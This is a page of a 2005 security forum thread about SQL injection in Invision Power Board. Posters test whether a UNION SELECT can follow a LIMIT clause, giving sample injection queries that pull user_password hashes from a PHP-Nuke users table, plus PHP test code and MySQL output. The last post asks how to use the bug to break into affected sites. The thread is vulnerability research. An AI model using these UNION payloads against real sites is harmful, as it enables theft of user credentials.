Waraxe IT Security Portal
Login or Register
December 18, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 86
Members: 0
Total: 86
Full disclosure
[KIS-2024-07] GFI Kerio Control <= 9.4.5 Multiple HTTP Response Splitting Vulnerabilities
RansomLordNG - anti-ransomware exploit tool
APPLE-SA-12-11-2024-9 Safari 18.2
APPLE-SA-12-11-2024-8 visionOS 2.2
APPLE-SA-12-11-2024-7 tvOS 18.2
APPLE-SA-12-11-2024-6 watchOS 11.2
APPLE-SA-12-11-2024-5 macOS Ventura 13.7.2
APPLE-SA-12-11-2024-4 macOS Sonoma 14.7.2
APPLE-SA-12-11-2024-3 macOS Sequoia 15.2
APPLE-SA-12-11-2024-2 iPadOS 17.7.3
APPLE-SA-12-11-2024-1 iOS 18.2 and iPadOS 18.2
SEC Consult SA-20241211-0 :: Reflected Cross-Site Scripting in Numerix License Server Administration System Login
St. Poelten UAS | Multiple Vulnerabilities in ORing IAP
SEC Consult SA-20241204-0 :: Multiple Critical Vulnerabilities in Image Access Scan2Net (14 CVE)
Microsoft Warbird and PMP security research - technical doc
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Sql Injection in Invision Power Board Goto page Previous1, 2
Post new topicReply to topic View previous topic :: View next topic
Re: Sql Injection in Invision Power Board
PostPosted: Tue Apr 26, 2005 1:38 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




cXIb8O3 wrote:
waraxe wrote:

mySQL query error: SELECT m.name, m.id, m.posts, m.joined, m.mgroup, m.email,m.title, m.hide_email, m.location, m.aim_name, m.icq_number,
me.photo_location, me.photo_type, me.photo_dimensions
FROM ibf_members m
LEFT JOIN ibf_member_extra me ON me.id=m.id
LEFT JOIN ibf_groups g ON m.mgroup=g.g_id
WHERE m.id > 0 AND m.mgroup='1' AND g.g_hide_from_list <> 1
ORDER BY m.name asc
LIMIT f00bar,30

mySQL error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'f00bar,30' at line 8
mySQL error code:
Date: Tuesday 12th of April 2005 08:51:04 AM


in this query... we can't use UNION because is there ORDER BY. ; ] but after LIMIT you can use UNION


I doubt it. Show me the working example and i will believe in this.
Here is, what i can find from manual:

http://dev.mysql.com/doc/mysql/en/union.html

Code:

If you want to use an ORDER BY or LIMIT clause to sort or limit the entire UNION result, parenthesize the individual SELECT statements and place the ORDER BY or LIMIT after the last one. The following example uses both clauses:

(SELECT a FROM tbl_name WHERE a=10 AND B=1)
UNION
(SELECT a FROM tbl_name WHERE a=11 AND B=2)
ORDER BY a LIMIT 10;

This kind of ORDER BY cannot use column references that include a table name (that is, names in tbl_name.col_name format). Instead, provide a column alias in the first SELECT statement and refer to the alias in the ORDER BY, or else refer to the column in the ORDER BY using its column position. (An alias is preferable because use of column positions is deprecated.)

To apply ORDER BY or LIMIT to an individual SELECT, place the clause inside the parentheses that enclose the SELECT:

(SELECT a FROM tbl_name WHERE a=10 AND B=1 ORDER BY a LIMIT 10)
UNION
(SELECT a FROM tbl_name WHERE a=11 AND B=2 ORDER BY a LIMIT 10);

ORDER BY for individual SELECT statements within parentheses only has an effect when combined with LIMIT. Otherwise, the ORDER BY is optimized away.


Seems, that there are differences in 4.0.x and 4.1.x mysql versions, but anyway, we need additional parentheses for syntax to be correct.
Once again - please show me the working example Smile
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Tue Apr 26, 2005 2:19 pm Reply with quote
cXIb8O3
Active user
Active user
Joined: Feb 17, 2005
Posts: 26
Location: Poland<>Luxembourg




mysql=4.0.21

ok.. in phpnuke table:

SELECT name FROM nuke_users WHERE user_id='-99' LIMIT 0,1 UNION SELECT user_password FROM nuke_users WHERE user_id='2' LIMIT 0,1

LIMIT and UNION and works
etc.
View user's profile Send private message Visit poster's website
PostPosted: Tue Apr 26, 2005 5:35 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




cXIb8O3 wrote:
mysql=4.0.21

ok.. in phpnuke table:

SELECT name FROM nuke_users WHERE user_id='-99' LIMIT 0,1 UNION SELECT user_password FROM nuke_users WHERE user_id='2' LIMIT 0,1

LIMIT and UNION and works
etc.


OK, i tested it with this code snippet:

Code:

//--------------
$sql = "SELECT name FROM nuke_users WHERE user_id='-99' LIMIT 0,1 UNION SELECT user_password FROM nuke_users WHERE user_id='2' LIMIT 0,1";
$result = $db->sql_query($sql);
$kala = mysql_error();
die("--$result--$kala--");
//--------------


And got:
Code:

--Resource id #142----


So it really works, if there is no "ORDER BY" in affected sql query.
Now let's do next test:

Code:

//--------------
$sql = "SELECT name FROM nuke_users WHERE user_id='-99' ORDER BY user_id LIMIT 0,1 UNION SELECT user_password FROM nuke_users WHERE user_id='2' LIMIT 0,1";
$result = $db->sql_query($sql);
$kala = mysql_error();
die("--$result--$kala--");
//--------------


and we get

Code:

----Wrong usage of UNION and ORDER BY--


One more test:

Code:

//--------------
$sql = "SELECT name FROM nuke_users WHERE user_id='-99' ORDER BY user_id LIMIT 0,1 UNION SELECT user_password FROM nuke_users WHERE user_id='2' ORDER BY user_id LIMIT 0,1";
$result = $db->sql_query($sql);
$kala = mysql_error();
die("--$result--$kala--");
//--------------


and we get

Code:

----Wrong usage of UNION and ORDER BY--


Now, sql query in very first post was:

Code:

SELECT m.name, m.id, m.posts, m.joined, m.mgroup, m.email,m.title, m.hide_email, m.location, m.aim_name, m.icq_number,
me.photo_location, me.photo_type, me.photo_dimensions
FROM ibf_members m
LEFT JOIN ibf_member_extra me ON me.id=m.id
LEFT JOIN ibf_groups g ON m.mgroup=g.g_id
WHERE m.id > 0 AND m.mgroup='1' AND g.g_hide_from_list <> 1
ORDER BY m.name asc
LIMIT f00bar,30


As we can see, there is "ORDER BY" right before sql injection point of insertion ...
But anyway, thanks for sharing info, it gave me fresh ideas Wink
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Tue Apr 26, 2005 5:59 pm Reply with quote
cXIb8O3
Active user
Active user
Joined: Feb 17, 2005
Posts: 26
Location: Poland<>Luxembourg




mysql> SELECT name FROM nuke_users WHERE user_id='-99' LIMIT 0,1 UNION SELECT user_password FROM nuke_users WHERE user_id='2' LIMIT 0,1;
+----------------------------------+
| name |
+----------------------------------+
| blablabla |
+----------------------------------+
1 row in set (0.00 sec)

mysql>


or

check

<?
mysql_connect("localhost" , "user", "pas") or die("X");
mysql_select_db("phpnuke");
$ffff=mysql_query("SELECT name FROM nuke_users WHERE user_id='-99' LIMIT 0,1 UNION SELECT user_password FROM nuke_users WHERE user_id='2' LIMIT 0,1");
$eeee=mysql_fetch_array($ffff);
echo $eeee[0];
?>
View user's profile Send private message Visit poster's website
PostPosted: Tue Apr 26, 2005 6:07 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Look at my previous post please --> i was talking about sql queries that contain "ORDER BY" part. Your example is without "ORDER BY".
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Tue Apr 26, 2005 7:38 pm Reply with quote
cXIb8O3
Active user
Active user
Joined: Feb 17, 2005
Posts: 26
Location: Poland<>Luxembourg




ok . relax Wink
View user's profile Send private message Visit poster's website
PostPosted: Tue Apr 26, 2005 7:44 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




No probs, take it easy Very Happy
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Tue Apr 26, 2005 11:19 pm Reply with quote
gulftech
Valuable expert
Valuable expert
Joined: Apr 20, 2005
Posts: 9




This issue was reported to the developers a long time ago. Go here to see the details and the response sent from the lead developer.

Edit: Forgot to post the link. Been a long day setting up blasted Win2k3 servers Confused

http://www.gulftech.org/?node=research&article_id=00028-03022004
View user's profile Send private message Visit poster's website
PostPosted: Wed Apr 27, 2005 6:50 am Reply with quote
cXIb8O3
Active user
Active user
Joined: Feb 17, 2005
Posts: 26
Location: Poland<>Luxembourg




gulftech wrote:
This issue was reported to the developers a long time ago. Go here to see the details and the response sent from the lead developer.

http://www.gulftech.org/?node=research&article_id=00028-03022004


yes. DCrab sometimes public fucked adv. ;] He don't check vulnerabilities and don't try contact with authors scripts.
View user's profile Send private message Visit poster's website
PostPosted: Fri Apr 29, 2005 12:41 am Reply with quote
gulftech
Valuable expert
Valuable expert
Joined: Apr 20, 2005
Posts: 9




Well, I did like that one advisory that was the result of "auditing" an application coded in .asp and the suggested fix was to use htmlspecialchars() and addlsashes() Very Happy
View user's profile Send private message Visit poster's website
PostPosted: Tue May 03, 2005 3:53 am Reply with quote
devn00b
Regular user
Regular user
Joined: Feb 20, 2005
Posts: 22




anyone figure out how if at all possible to use this to gain any access to an affected website?

Waraxe? Very Happy Cool
View user's profile Send private message
Sql Injection in Invision Power Board
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 2 of 2
Goto page Previous1, 2
Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.036 Seconds